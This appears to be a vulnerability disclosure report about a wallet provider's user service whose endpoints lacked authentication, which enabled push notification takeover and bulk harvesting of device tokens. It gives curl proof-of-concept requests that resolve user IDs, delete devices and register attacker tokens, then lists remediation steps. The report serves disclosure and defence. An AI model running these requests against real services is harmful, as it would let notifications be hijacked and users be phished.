Unauthenticated User Service Enables Push Notification Takeover

Reported Feb 21, 2026

Severity High

Platform Web

Vulnerability Class Broken Object Level Authorization (CWE-639)

Target Type Self-Custody Wallet Provider

Impact Push notification redirection and bulk token exposure

The Risk

An attacker could redirect a customer's app notifications to their own phone without ever logging in as the customer. They removed the customer's real device from the system and registered their own device in its place. From that moment on, every alert about transactions, security, or account changes went to the attacker. They could also pull a list of every customer's notification target in bulk. The starting point was nothing more than a customer's public wallet address.

The Vulnerability

The user service backing the wallet's web application exposed a set of endpoints that performed no authentication or authorization checks. The same routes succeeded with no credentials at all and also succeeded when sent a clearly invalid bearer token, which proved authentication was not being enforced anywhere in the chain.

The exposed endpoints allowed an unauthenticated attacker to:

Resolve a user identifier from a public account identifier such as a wallet address
List devices currently registered to that user
Register new device tokens against the user
Delete existing devices belonging to that user
Enumerate user records in bulk, which included device tokens such as mobile push tokens

The Attack

Each step required only a single unauthenticated HTTP request. For demonstration the attacker created a fresh test user so no real customer was affected.

# Resolve userId from a public account identifier
curl -s -X POST "https://[redacted-host]/devices/register" \
  -H "Content-Type: application/json" \
  -d '{"accountIds":["eip155:1:0x...deadbeef"]}'

The response returned an internal user identifier with HTTP 201, no authentication required.

Replacing the Victim Device

# Register a victim-style device
curl -s -X POST "https://[redacted-host]/users/$USER_ID/devices" \
  -H "Content-Type: application/json" \
  -d '{"deviceToken":"victim-device","deviceType":"WEB"}'

# Delete it without auth
curl -s -X DELETE "https://[redacted-host]/users/$USER_ID/devices/$DEVICE_ID"

# Register attacker-controlled token
curl -s -X POST "https://[redacted-host]/users/$USER_ID/devices" \
  -H "Content-Type: application/json" \
  -d '{"deviceToken":"attacker-device","deviceType":"WEB"}'

A final list call confirmed only the attacker's device remained on the account.

Bulk Token Exposure

The list-users endpoint returned records that included device tokens, including mobile push tokens, allowing an attacker to harvest targets at scale rather than guessing individual users.

The Impact

Loss of notification integrity. Security alerts and transaction prompts intended for the user are delivered to the attacker.
Mobile phishing leverage. The attacker can craft push messages that match real platform context to trick the user into approving actions or visiting attacker pages.
Denial of notification. The attacker can simply remove the user's devices so important alerts never arrive.
Privacy exposure. Bulk listing exposes device tokens for the entire user base, enabling targeted abuse and potential third-party push abuse.

Remediation

Enforce authentication on every endpoint in this service. Reject requests with missing or invalid credentials with 401 or 403.
Bind authorization to the authenticated principal. A caller may only manage devices for their own user identifier.
Verify that account identifiers passed to the device-registration endpoint are owned by the caller before associating them with the principal's user record.
Restrict the bulk list-users endpoint to admin roles, and never include raw device tokens in any list response.
Add rate limiting and abuse monitoring to user and device endpoints.
Encrypt device tokens at rest and limit which services can read them.